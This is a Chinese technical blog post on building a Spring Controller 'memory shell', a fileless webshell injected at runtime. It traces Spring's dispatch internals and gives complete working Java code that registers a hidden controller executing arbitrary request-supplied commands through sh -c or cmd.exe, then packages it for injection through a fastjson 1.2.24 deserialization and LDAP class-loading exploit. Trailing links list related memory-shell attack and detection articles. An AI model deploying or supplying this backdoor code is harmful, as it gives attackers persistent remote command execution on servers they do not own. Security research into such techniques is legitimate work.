实战分享!spring内存马(Controller)构造

解决WebMvcPatternsRequestConditionWrapper.getPatterns NullPointerException 启动失败 Spring Boot2.6之后,swagger的包,WebMvcPatternsRequestConditionWrapper.getPatterns NPE 异常 文章目录Spring Boot2.6之后,swagger的包,WebMvcPatternsRequestConditionWrapper.getPatterns NPE 异常报错现象堆栈截图排查过程解决方案 报错现象 堆栈 2022-03-13 02:40:28.000 ERROR [16312] --- [ main] 阅读详情

spring部分运行机制

我们在controller处下断点

可以看到红框是涉及spring的部分,因为调用栈的帧顺序是从下往上,也就是下面的先运行,我们从下往上看。

可以看到先run运行起来,然后进入process部分,在进入service部分,进入invoke部分,进入dofilter部分,在返回到service部分,然后就进入了spring中,spring中继续请求,到doDispatch中进行请求的处理。

可以看到DispatcherServlet类中的doDispatch方法进行处理web请求。

这个方法中用handle()进行处理request和response,并且用 mappedHandler.getHandler()获取了mappedHandler的Handler。

那么老样子,我们先不看调用,先看handle()的参数中的mappedHandler.getHandler()。我们看看mappedHandler是干什么的。

这里用了getHandler(processedRequest),那么我们跳入。

可以看到这里对handlerMappings(处理器映射)进行了遍历,调用mappedHandler的getHandler()方法对processedRequest进行了遍历。

handlerMappings介绍:

接着我们继续跟进mapping.getHandler。

跟进之后是个接口,那么找其实现。

我们进入AbstractHandlerMapping。

可以看到用到了getHandlerInternal()方法。

可以看到对mappingRegistry(spring的路径注册)上了锁,acquireReadLock方法用于获取读锁,如果持有写锁的线程数量或请求读锁的线程数大于0则让线程进入等待状态,releaseReadLock方法用于释放读锁,将读锁线程数减一并唤醒其它线程,acquireWriteLock方法用于获取写锁,如果持有读锁的线程数量或持有写锁的线程数量大于0则让线程进入等待状态。releaseWriteLock方法用于释放写锁,将写锁线程数减一并唤醒其它线程。mappingRegistry中存有路由信息如下:

继续回到getHandlerInternal看看。

因为lookupHandlerMethod()涉及请求,传入的参数是lookupPath和request,那么我们看看他是干嘛的。

阅读这一块代码,这里通过mappingRegistry获得请求映射地址,如果directPathMatches不为null,则调addMatchingMappings()进行添加路由,这里可以理解成 集合中的每一个RequestMappingInfo均会和request进行匹配,匹配上的话就创建一个Match对象并加入Match对象集合。

然后就是Matches的校验了,如果为null,就用mappingRegistry.getRegistrations()注册,Match集合不为空则从Match集合中找到最匹配的Match对象,并返回该Match对象的HandlerMethod对象。

也就是说模拟注册向mappingRegistry中添加内存马路由,就能注入内存马。

在AbstractHandlerMethodMapping中就提供了MappingRegistry添加路由。但是该类为抽象类。它的子类RequestMappingHandlerMapping能进行实例化。

RequestMappingInfoHandlerMapping也是抽象类,所以只能用RequestMappingHandlerMapping的registerMapping方法去进行注册(也就是通过AbstractHandlerMethodMapping的子类,也就是实现类去进行注册)。

一个spring内存马的生成

获取webApplicationContext

之前写的tomcat内存马,也是先需要获得容器的context对象。在tomcat中获得的是standardContext,spring中获取的是WebApplicationContext。

可以看到初始化WebApplicationContext的过程,那么如何获得WebApplicationContext呢?

那么这样就可以得到WebApplicationContext对象了,当然不只这一种方法,我们先往下走。

注册Controller

有了WebApplicationContext,接下来便是注册Controller,在第一部分《spring部分运行机制》中我们说了在AbstractHandlerMethodMapping中就提供了MappingRegistry添加路由。但是该类为抽象类。它的子类RequestMappingHandlerMapping能进行实例化。

可以看到RequestMappingHandlerMapping的registerMapping有三个参数mapping,handler,method

那么我们先看看第一个参数mapping怎么写,跳入看看mapping的类型的RequestMappingInfo的构造函数。

有四种,我们用的是第二种构造函数,共7个参数。

/** @deprecated */
@Deprecated
public RequestMappingInfo(@Nullable PatternsRequestCondition patterns, @Nullable RequestMethodsRequestCondition methods, @Nullable ParamsRequestCondition params, @Nullable HeadersRequestCondition headers, @Nullable ConsumesRequestCondition consumes, @Nullable ProducesRequestCondition produces, @Nullable RequestCondition<?> custom) {
    this((String)null, patterns, methods, params, headers, consumes, produces, custom);
}

再看第一个参数patterns的构造函数,PatternsRequestCondition是路径匹配,也就是定义访问 controller 的 URL 地址,那么这里写url。

第二个参数是method,我们进入看其构造办法。

然后写到如下:

再写命令执行的代码

@RestController
public class Injected{
    public Injected(){

    }
    public void cmd() throws Exception {
        HttpServletRequest request = ((ServletRequestAttributes) (RequestContextHolder.currentRequestAttributes())).getRequest();
        HttpServletResponse response = ((ServletRequestAttributes) (RequestContextHolder.currentRequestAttributes())).getResponse();
        if (request.getParameter("cmd") !=null){
            boolean islinux = true;
            String osType = System.getProperty("os.name");
            if (osType !=null && osType.toLowerCase().contains("win")){
                islinux = false;
            }
            String[] cmds = islinux ? new String[]{"sh","-c",request.getParameter("cmd")} : new String[]{"cmd.exe","/c",request.getParameter("cmd")};
            InputStream in = Runtime.getRuntime().exec(cmds).getInputStream();
            Scanner s = new Scanner(in).useDelimiter("\\A");
            String output = s.hasNext() ? s.next() : "";
            response.getWriter().write(output);
            response.getWriter().flush();
            response.getWriter().close();
        }
    }
}

中间遇到的问题

40行会报错,是39行的问题。

我们调试看servletContext获取值是没问题的,那么就是WebApplicationContext获取值失败

那么。

WebApplicationContext webApplicationContext = (WebApplicationContext)servletContext.getAttribute(WebApplicationContext.ROOT_WEB_APPLICATION_CONTEXT_ATTRIBUTE);

不行,那么换种方法获取webApplicationContext。

WebApplicationContext webApplicationContext = WebApplicationContextUtils.getRequiredWebApplicationContext(servletContext);

这样获取也会报错Request processing failed; nested exception is java.lang.IllegalStateException: No WebApplicationContext found: no ContextLoaderListener registered?也不行,再换种方法。

WebApplicationContext webApplicationContext = WebApplicationContextUtils.getWebApplicationContext(servletContext);

这里报错是有可能为空,所以我修改加了if判断。

但是访问不了url还是注入失败了,如下。

那么再换种方法

WebApplicationContext webApplicationContext = (WebApplicationContext) RequestContextHolder.currentRequestAttributes().getAttribute("org.springframework.web.servlet.DispatcherServlet.CONTEXT", 0);

但是访问不了url还是注入失败了,如下。

报错代理问题,不知道怎么解决,那么再看看哪里的问题这里经过一顿排查。

这里之前写错了,要写Injected这个类,那么。

WebApplicationContext webApplicationContext = (WebApplicationContext) RequestContextHolder.currentRequestAttributes().getAttribute("org.springframework.web.servlet.DispatcherServlet.CONTEXT", 0);

这种是可以的,其他还是不行,如下。

完整代码如下:

package com.example.demo;

import org.springframework.web.bind.annotation.RequestMapping;
import org.springframework.web.bind.annotation.RestController;
import org.springframework.web.context.ContextLoader;
import org.springframework.web.context.WebApplicationContext;
import org.springframework.web.context.request.RequestContextHolder;
import org.springframework.web.context.request.ServletRequestAttributes;
import org.springframework.web.context.support.WebApplicationContextUtils;
import org.springframework.web.servlet.mvc.condition.PatternsRequestCondition;
import org.springframework.web.servlet.mvc.condition.RequestMethodsRequestCondition;
import org.springframework.web.servlet.mvc.method.RequestMappingInfo;
import org.springframework.web.servlet.mvc.method.annotation.RequestMappingHandlerMapping;

import javax.servlet.ServletContext;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import java.io.IOException;
import java.io.InputStream;
import java.lang.reflect.Method;
import java.util.Scanner;

@RestController
public class Controller_ncm {


    @RequestMapping("/inject")
    public  String inject() throws Exception {
        //获得request对象
//        HttpServletRequest request =  ((ServletRequestAttributes) RequestContextHolder.getRequestAttributes()).getRequest();
//        //获得ServletContext对象
//        ServletContext servletContext = request.getServletContext();
//    ServletContext servletContext2 = ContextLoader.getCurrentWebApplicationContext().getServletContext();
        //获得WebApplicationContext对象

//        WebApplicationContext webApplicationContext = (WebApplicationContext)servletContext.getAttribute(WebApplicationContext.ROOT_WEB_APPLICATION_CONTEXT_ATTRIBUTE);
        WebApplicationContext webApplicationContext = (WebApplicationContext) RequestContextHolder.currentRequestAttributes().getAttribute("org.springframework.web.servlet.DispatcherServlet.CONTEXT", 0);
//        WebApplicationContext webApplicationContext = WebApplicationContextUtils.getRequiredWebApplicationContext(servletContext);
//        WebApplicationContext webApplicationContext = WebApplicationContextUtils.getWebApplicationContext(servletContext);
        //接下来便是注册Controller了
        //之前我们分析在AbstractHandlerMethodMapping中就提供了MappingRegistry添加路由。但是该类为抽象类。它的子类RequestMappingHandlerMapping能进行实例化
        //从当前上下文环境中获得 RequestMappingHandlerMapping 的实例 bean
        RequestMappingHandlerMapping requestMappingHandlerMapping = webApplicationContext.getBean(RequestMappingHandlerMapping.class);

        Method method = Injected.class.getMethod("cmd");

        RequestMethodsRequestCondition condition  = new RequestMethodsRequestCondition();   //定义允许访问 controller 的 HTTP 方法

        PatternsRequestCondition url = new PatternsRequestCondition("/url");   //路径匹配

        RequestMappingInfo mapping = new RequestMappingInfo(url, condition, null, null, null, null, null);   //这里mapping就写好了

        Injected handler = new Injected();    //注意这个handler是Injected类

        requestMappingHandlerMapping.registerMapping(mapping,handler,method);   //注册controller


        return "Inject done";

    }

    @RestController
    public class Injected{
        public Injected(){

        }
        public void cmd() throws Exception {
            HttpServletRequest request = ((ServletRequestAttributes) (RequestContextHolder.currentRequestAttributes())).getRequest();
            HttpServletResponse response = ((ServletRequestAttributes) (RequestContextHolder.currentRequestAttributes())).getResponse();
            if (request.getParameter("cmd") !=null){
                boolean islinux = true;
                String osType = System.getProperty("os.name");
                if (osType !=null && osType.toLowerCase().contains("win")){
                    islinux = false;
                }
                String[] cmds = islinux ? new String[]{"sh","-c",request.getParameter("cmd")} : new String[]{"cmd.exe","/c",request.getParameter("cmd")};
                InputStream in = Runtime.getRuntime().exec(cmds).getInputStream();
                Scanner s = new Scanner(in).useDelimiter("\\A");
                String output = s.hasNext() ? s.next() : "";
                response.getWriter().write(output);
                response.getWriter().flush();
                response.getWriter().close();
            }
        }
    }


}

效果:

这里可以写到一个类中,之前那个相当于两个类,一个主类其中嵌套内部类,再进行build之后,可以看到会生成两个类,因为java中的内部类只是java编译器的概念,对于java的虚拟机而言,它是没有java内部类的概念的,也就是说java中的内部类最后也会被编译成一个独立的class文件。

那么在我们进行ldap远程执行恶意类时候,无法同时指定两个类,单纯指定一个类很难生效(因为不包含内部类),那么我们写到一个类中,如下。

package com.example.demo;

import org.springframework.web.bind.annotation.RequestMapping;
import org.springframework.web.bind.annotation.RestController;
import org.springframework.web.context.WebApplicationContext;
import org.springframework.web.context.request.RequestContextHolder;
import org.springframework.web.context.request.ServletRequestAttributes;
import org.springframework.web.servlet.mvc.condition.PatternsRequestCondition;
import org.springframework.web.servlet.mvc.condition.RequestMethodsRequestCondition;
import org.springframework.web.servlet.mvc.method.RequestMappingInfo;
import org.springframework.web.servlet.mvc.method.annotation.RequestMappingHandlerMapping;

import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import java.io.BufferedReader;
import java.io.IOException;
import java.io.InputStreamReader;
import java.io.PrintWriter;
import java.lang.reflect.Method;
import java.nio.charset.Charset;

@RestController
public class Evil {
    @RequestMapping("inject5")
    public String Evil() throws Exception {

        WebApplicationContext context = (WebApplicationContext) RequestContextHolder.
                currentRequestAttributes().getAttribute("org.springframework.web.servlet.DispatcherServlet.CONTEXT", 0);
        // 从当前上下文环境中获得 RequestMappingHandlerMapping 的实例 bean
        RequestMappingHandlerMapping mappingHandlerMapping = context.getBean(RequestMappingHandlerMapping.class);
        // 通过反射获得该类的test方法
        Method method2 = Evil.class.getMethod("test");
        // 定义该controller的path
        PatternsRequestCondition url = new PatternsRequestCondition("/txf");
        // 定义允许访问的HTTP方法
        RequestMethodsRequestCondition ms = new RequestMethodsRequestCondition();
        // 在内存中动态注册 controller
        RequestMappingInfo info = new RequestMappingInfo(url, ms, null, null, null, null, null);
        // 创建用于处理请求的对象,避免无限循环使用另一个构造方法
        Evil injectToController = new Evil("aaa");
        // 将该controller注册到Spring容器
        mappingHandlerMapping.registerMapping(info, injectToController, method2);
        return "Inject done";
    }
    private Evil(){

    }
    private Evil(String aaa) {
    }

    public void test() throws IOException {
        HttpServletRequest request = ((ServletRequestAttributes)(RequestContextHolder.currentRequestAttributes())).getRequest();
        HttpServletResponse response = ((ServletRequestAttributes)(RequestContextHolder.currentRequestAttributes())).getResponse();
        String code = request.getParameter("code");
        if(code != null){
            StringBuilder result = new StringBuilder();
            Process process = null;
            BufferedReader bufrIn = null;
            BufferedReader bufrError = null;
            response.setCharacterEncoding("utf-8");
            response.setContentType("text/html,charset=utf-8");
            PrintWriter writer = response.getWriter();
            try {
                ProcessBuilder builder = null;
                if (System.getProperty("os.name").toLowerCase().contains("win")){
                    builder = new ProcessBuilder(new String[]{"cmd.exe","/c",code});
                    Process start = builder.start();
                    bufrIn = new BufferedReader(new InputStreamReader(start.getInputStream(), Charset.forName("GBK")));
                    bufrError = new BufferedReader(new InputStreamReader(start.getInputStream(),Charset.forName("GBK")));
                }else {
                    builder = new ProcessBuilder(new String[]{"/bin/sh","-c",code});
                    Process start = builder.start();
                    bufrIn = new BufferedReader(new InputStreamReader(start.getInputStream(), Charset.forName("UTF-8")));
                    bufrError = new BufferedReader(new InputStreamReader(start.getInputStream(),Charset.forName("UTF-8")));
                }
                String line;
                while ((line = bufrIn.readLine()) != null){
                    result.append(line).append('n').append("</p >");
                }
                while ((line = bufrError.readLine()) != null){
                    result.append(line).append('n').append("</p >");
                }
                System.out.println(result);
                writer.println(result);
                writer.flush();
                writer.close();
            } catch (IOException e) {
                e.printStackTrace();
            }
        }
    }
}

直接访问404。

那么先访问inject5,将其注入进去。

然后再次访问/txf。

成功注入,执行命令即可。

到这里实验环境注入内存马就成功了,但是我们是直接在项目中加载的,实战中肯定不是这样利用的,那么继续往下看,fastjson漏洞本地项目实验。

springboot版本2.4.5

<parent>
    <groupId>org.springframework.boot</groupId>
    <artifactId>spring-boot-starter-parent</artifactId>
    <version>2.4.5</version>
    <relativePath/> <!-- lookup parent from repository -->
</parent>

fastjson版本1.2.24

<dependency>
    <groupId>com.alibaba</groupId>
    <artifactId>fastjson</artifactId>
    <version>1.2.24</version>
</dependency>

因为之前网站打印出来乱码,那么修改命令执行那段代码,如下,spring内存马

import org.springframework.web.context.WebApplicationContext;
import org.springframework.web.context.request.RequestContextHolder;
import org.springframework.web.context.request.ServletRequestAttributes;
import org.springframework.web.servlet.mvc.condition.PatternsRequestCondition;
import org.springframework.web.servlet.mvc.condition.RequestMethodsRequestCondition;
import org.springframework.web.servlet.mvc.method.RequestMappingInfo;
import org.springframework.web.servlet.mvc.method.annotation.RequestMappingHandlerMapping;

import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import java.io.DataInputStream;
import java.io.IOException;
import java.io.InputStream;
import java.lang.reflect.Method;

public class bat {
    public bat() throws Exception{
        WebApplicationContext context = (WebApplicationContext) RequestContextHolder.currentRequestAttributes().getAttribute("org.springframework.web.servlet.DispatcherServlet.CONTEXT", 0);
        RequestMappingHandlerMapping mappingHandlerMapping = context.getBean(RequestMappingHandlerMapping.class);
        Method method = bat.class.getDeclaredMethod("test",HttpServletRequest.class, HttpServletResponse.class);
        PatternsRequestCondition url = new PatternsRequestCondition("/qqq");
        RequestMethodsRequestCondition ms = new RequestMethodsRequestCondition();
        bat injectToController = new bat("aaa");
        RequestMappingInfo info = new RequestMappingInfo(url, ms, null, null, null, null, null);
        mappingHandlerMapping.registerMapping(info, injectToController, method);


    }
    private bat(String aa){

    }
    public void test(HttpServletRequest request, HttpServletResponse response) throws IOException {
        String code = request.getParameter("code");
        if(code != null){
            Process exec = Runtime.getRuntime().exec(code);
            InputStream inputStream = exec.getInputStream();
            DataInputStream dataInputStream = new DataInputStream(inputStream);
            String disr = dataInputStream.readLine();
            while ( disr != null ) {
                response.getWriter().write(disr);
                disr = dataInputStream.readLine();
            }
        }
        else {
            response.getWriter().write("ADD CONTROLLER");
        }
    }
    }

可以看的spring内存马注入成功,注意springboot版本过高注入失败,会报错。

Root Context和Child Context

获得当前代码运行时的上下文环境(4种,前两种是Root Context,后两种是Child Context,推荐使用后两种),我们这里环境配置的就是在DispatcherServlet中,所以通过Root Context是获取不到的,这样就导致 RequestMappingHandlerMapping 的实例 bean 只存在于 Child WebApplicationContext 环境中,而不是 Root WebApplicationContext 中。上文也提到过,Root Context无法访问Child Context中定义的 bean,而Child Context可以访问Root Context中定义的bean,所以可能会导致 Root WebApplicationContext 获得不了 RequestMappingHandlerMapping 的实例 bean 的情况。

另外,在有些Spring 应用逻辑比较简单的情况下,可能没有配置 ContextLoaderListener 、也没有类似 applicationContext.xml 的全局配置文件,只有简单的 servlet 配置文件,这时候通过前两种方法是获取不到Root WebApplicationContext的。

1.getCurrentWebApplicationContext

WebApplicationContext context = ContextLoader.getCurrentWebApplicationContext();
return context;

失败。

2.WebApplicationContextUtils

WebApplicationContext context = WebApplicationContextUtils.getWebApplicationContext(RequestContextUtils.getWebApplicationContext(((ServletRequestAttributes)RequestContextHolder.currentRequestAttributes()).getRequest()).getServletContext());
return context;

失败

3.RequestContextUtils

WebApplicationContext context = RequestContextUtils.getWebApplicationContext(((ServletRequestAttributes)RequestContextHolder.currentRequestAttributes()).getRequest());
return context;

成功获得context。

4.getAttribute

WebApplicationContext context = (WebApplicationContext)RequestContextHolder.currentRequestAttributes().getAttribute("org.springframework.web.servlet.DispatcherServlet.CONTEXT", 0);
return context;

成功获得context。

SpringMVC 解析(三) Controller 注解 我在前面的文章中介绍了Spring MVC最核心的组件DispatcherServlet,DispatcherServlet把Servlet容器(如Tomcat)中的请求和Spring中的组件联系到一起,是SpringWeb应用的枢纽。但是我们在日常开发中往往不需要详细知道枢纽的作用,我们只需要处理枢纽分发给我们的请求。Spring中处理请求业务逻辑最常见的组件是Controller,本文会对Spring的Controller及相关组件做详细介绍。 Controller的定义 Controller是Spri 阅读详情

相关推荐

Spring MVC源码解析 - HandlerMapping组件(二) - RequestMappingHandlerMapping

一. RequestMappingHandlerMapping 1. RequestMappingHandlerMapping: 由@Controller的类中 type和method级别的@RequestMapping,创建RequestMappingInfo实例。 代码如下:(有省略) public class RequestMappingHandlerMapping ext...

The Secret 842

Spring Controller 基本认识及应用

Controller 在 spring 中代表的是控制层,是将访问者请求进行分发调用不同函数,来控制获取请求参数以及返回业务层处理完的数据给访问者的层面。它在 spring 中必须在 Controller 类前添加 @Controller 注解,以注入容器中,并发挥作用。

yumuing‘s blog 2100

【网络安全】利用Fastjson注入Spring内存马

此篇文章在于记录自己对spring内存马的实验研究【点击查看→资料】 一、环境搭建 搭建漏洞环境,利用fastjson反序列化,通过JNDI下载恶意的class文件,触发恶意类的构造函数中代码,注入controller内存马。 1)组件版本: fastjson: 1.2.24 spring-mvc: 4.3.28.RELEASE JDK: 8u121 2)搭建springMVC+fastjson漏洞环境 可以参考网上的入门文章进行搭建,这里我放出我自己环境的配置文件 web.xml <servle.

HBohan的博客 1611

Spring Controller入门

Web服务做的事情: Spring Controller技术的三个核心点: Bean的配置:Controller注解运用 网络资源的加载:加载网页 网址路由的配置:RequestMapping注解的运用 1.Controller注解 Spring Controller本身也是一个Spring Bean,只是它多提供了Web能力,只需要造类上提供@Controller注解即可 import org.springframework.stereotype.Controller; @Controller p

weixin_51532232的博客 2491

【实战指南】Godzilla插件进阶:Suo5内存马在Spring与Tomcat环境下的精准注入

本文详细介绍了Godzilla插件中Suo5内存马在Spring与Tomcat环境下的精准注入技术。通过无文件特性实现高度隐蔽的攻击,特别适用于渗透测试和红队评估。文章涵盖环境配置、Tomcat Filter/Servlet注入、Spring Controller注入等实战技巧,并提供了多中间件适配与疑难排解方案,帮助安全人员掌握高级内存马注入方法。

kite3的博客 234

Java Web内存马攻防实战:从Filter注入到检测清除

在Java Web安全领域,内存马作为一种高级威胁技术,其核心在于绕过传统文件监控,直接驻留于应用内存中执行恶意代码。其实现原理基于Java Web容器的请求处理机制,通过动态修改关键内存数据结构(如Filter链)来注入恶意组件。这项技术的安全价值在于揭示了运行时应用层的深层风险,对构建有效的应用运行时保护(RASP)和入侵检测体系至关重要。常见的应用场景包括红蓝对抗、应急响应和高级持续性威胁(APT)防御。本文将聚焦于Filter型内存马,结合【反序列化】漏洞利用和【Tomcat】容器机制,深入剖析其注

weixin_34161064的博客 394

Woodpecker平台Java内存马插件:原理、生成与实战应用

Java内存马是一种利用Java类加载机制,将恶意代码直接注入到JVM进程中运行的无文件攻击技术。其核心原理在于绕过传统的文件系统监控,通过动态注册Filter、Servlet或Controller等组件,在内存中实现持久化后门。这种技术因其极强的隐蔽性,在攻防演练、安全测试和漏洞验证中具有重要价值,常被用于检验RASP(运行时应用自保护)等防护措施的有效性。在应用安全领域,内存马常与反序列化漏洞结合,成为攻击者突破边界、实现权限维持的关键手段。Woodpecker平台的Java Memshell Gene

weixin_30372371的博客 411

MemShellParty实战指南:Java内存马原理、注入与安全测试

内存马(Memory Shell)是一种驻留在服务器内存中的恶意代码技术,它通过修改Web应用运行时内存中的数据结构(如Servlet Filter、Controller等)来注册恶意端点,从而绕过传统文件检测。其核心原理是利用Java的类加载机制和反射API,在应用运行时动态植入恶意逻辑,实现无文件持久化。这项技术在红队渗透测试和后渗透阶段具有重要价值,常用于权限维持和隐蔽控制。在实际应用场景中,内存马常通过远程代码执行(RCE)漏洞或Java Agent动态附加技术注入,针对Tomcat、Spring等

lizaochengwen的专栏 426

Java内存马攻防实战:原理、检测与查杀指南

在Java应用安全领域,内存马(Memory Shell)是一种高级攻击技术,它利用Java虚拟机的运行时动态性实现无文件持久化。其核心原理是通过反射机制获取应用上下文,并借助类加载器将恶意代码动态注入到关键组件中,如Servlet Filter或Spring MVC控制器。这种技术因其极强的隐蔽性,能绕过传统文件监控和静态扫描,在高级持续性威胁(APT)和红蓝对抗中具有重要价值。理解内存马的工作原理,对于构建深层次运行时安全防护体系至关重要。本文将从技术实践角度,深入剖析内存马的实现机制,并分享一套从检测

weixin_31648507的博客 329

Goby自动化攻击与内存马植入:流量特征分析与实战检测

在网络安全领域,漏洞利用与后渗透技术是攻防对抗的核心环节。其基本原理是通过自动化工具发现并利用系统或应用漏洞,获取初始访问权限,进而实现持久化控制。这类技术的核心价值在于能够模拟高级攻击链,帮助安全人员理解攻击路径并提升防御能力。在众多应用场景中,Web服务器内存马因其无文件、驻留内存的特性,成为隐蔽后门的热门选择。它通过动态注册Filter、Servlet等Web容器组件,使攻击者能够通过特定HTTP请求远程执行命令。本文聚焦于Goby自动化攻击平台与内存马技术结合时产生的网络流量特征,深入剖析其通信模式

weixin_30376083的博客 319

ShiroExp实战指南:从漏洞检测到内存马注入的自动化利用

在Java Web应用安全领域,反序列化漏洞是常见的高危攻击面,其核心原理在于应用对不可信数据反序列化时,可能执行恶意构造的代码链。这项技术对渗透测试与安全评估具有重要价值,能高效验证系统脆弱性。Apache Shiro框架的RememberMe功能因默认硬编码密钥,成为该漏洞的典型应用场景。本文聚焦Shiro-550等漏洞,详解如何利用ShiroExp工具进行密钥爆破与利用链探测,并演示通过内存马注入实现持久化控制,为安全研究人员提供从检测到利用的完整工程实践路径。

csxc65837的博客 348

Java内存马检测实战:从原理到排查的完整安全指南

在Java应用安全领域,无文件攻击因其高隐蔽性成为严峻挑战。其核心原理在于攻击者利用远程代码执行等漏洞,通过反射等机制动态修改JVM运行时内存中的程序结构,例如向Servlet容器或Spring框架注册恶意组件。这种技术价值在于绕过了传统基于文件特征的静态检测,直接与业务进程共生,实现持久化控制。在应用场景上,它常出现在存在未修复漏洞的Web服务器中,作为后门接收远程指令。针对内存马这类威胁,有效的检测需要结合行为监控、内存分析和流量分析,使用Arthas等工具进行运行时诊断,通过对比组件基线发现异常,这正

weixin_30402343的博客 437

Java应用红蓝对抗实战:从反序列化漏洞到内存马注入的攻防剖析

在软件安全领域,Java应用因其广泛的企业级部署和复杂的技术栈,成为攻防演练的核心目标。其安全机制涉及序列化与反序列化、类加载、Servlet容器等基础原理,这些特性若被不当使用,可能引发严重漏洞。从技术价值看,理解Java安全机制不仅能提升应用自身韧性,更是构建纵深防御体系的关键。典型的应用场景包括金融系统、大型互联网后台等关键基础设施的防护。在红蓝对抗中,攻击者常利用反序列化漏洞实现远程代码执行,并通过注入内存马实现隐蔽的权限维持。本文聚焦于这些高频攻击手法,深入拆解其利用链与防御策略,为开发与安全人员

weixin_29327977的博客 299

MemShellParty:自动化内存马生成平台的设计原理与实战应用

内存马是一种无文件、驻留内存的Webshell技术,它通过直接操作Java虚拟机的运行时内存,绕过传统基于文件检测的安全机制。其核心原理是利用Java中间件的类加载机制和动态注册能力,将恶意字节码注入到Filter、Servlet或Controller等关键组件中,实现持久化控制。这项技术的价值在于能够有效规避WAF、EDR等静态防护,在攻防演练和应急响应中具有重要作用。MemShellParty作为一个工程化平台,通过标准化和自动化流程,将内存马的生成、适配和测试进行封装,支持Tomcat、Spring

weixin_34292402的博客 367

Java Agent内存马攻防解析:从JVM机制到实战检测

Java Agent是JVM提供的合法监控与诊断机制,它通过Instrumentation接口实现类字节码的动态修改,这一特性在应用性能监控、热部署等场景中具有重要价值。然而,攻击者利用该机制,结合内存马技术,可在目标应用的运行时内存中植入无文件后门,实现高度隐蔽的持久化攻击。内存马通过动态注册Filter、Servlet等组件,并采用加密通信绕过传统安全检测,对Web应用安全构成严重威胁。本文以Agenst和vagent等工具为例,深入剖析Java Agent与内存马结合的技术原理,涵盖JVM类加载机制、

weixin_30394981的博客 412

内存马与Webshell联合攻击防御:从原理到实战的纵深防护体系

在Web安全领域,Webshell是一种常见的后门程序,攻击者通过文件上传、反序列化等漏洞将其植入服务器,以获取系统控制权。其核心原理是利用Web服务器对脚本文件的解析执行能力,在服务器端执行任意操作。随着攻防对抗升级,攻击技术不断演进,出现了无文件、驻留内存的**内存马**,它通过动态修改Web容器运行时(如注入Filter、Servlet)实现持久化,规避了传统基于文件特征的检测。这种技术极大地提升了攻击的隐蔽性和危害性,使得防御者必须从单一文件检测转向覆盖运行时内存、网络流量和应用行为的综合防护。**

weixin_30772105的博客 410

ShiroAttack2实战指南:从Shiro-550漏洞原理到内存马攻防

Java反序列化漏洞是Web安全领域的经典威胁,其原理在于攻击者通过控制反序列化数据流,触发恶意利用链(Gadget Chain),从而在目标服务器上执行任意代码。这种技术危害巨大,常被用于实现远程命令执行,是红队评估和渗透测试中的关键攻击向量。Apache Shiro框架的RememberMe功能因默认密钥硬编码问题,成为反序列化漏洞的典型应用场景,由此衍生的Shiro-550漏洞至今仍是高频发现项。ShiroAttack2工具集成了密钥爆破、多种利用链和内存马注入能力,将攻击从单次命令执行提升到持久化控

weixin_33805992的博客 360

AB相增量式编码器以及STM32定时器编码器模式测速/测距离(HAL库)

编码器(Encoder)是一种用于测量旋转运动或位置的设备。编码器通常与定时器模块一起使用,以便在微控制器中获取和计算旋转的脉冲数量,从而确定物体的运动方向和距离。编码器在许多应用中都很有用,例如机器人运动控制、电机位置反馈和位置传感。STM32微控制器提供了多种类型的编码器支持,其中一种常见的编码器类型是增量编码器。增量编码器基于两个脉冲信号通道,通常称为A相和B相。当旋转发生时,这两个信号通道的相位关系会发生变化,从而可以计算出旋转方向和旋转的步数。

嵌入式软件工程师的博客 1万+
上一篇: 实战分享!spring内存马(Controller)构造
下一篇: 记一次实战getshell
AI小模型
博客等级 码龄6年 6863粉丝 487原创
评论
成就一亿技术人!
拼手气红包6.0元
还能输入1000个字符
 
 条评论被折叠 查看
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付:10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

AI小模型

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值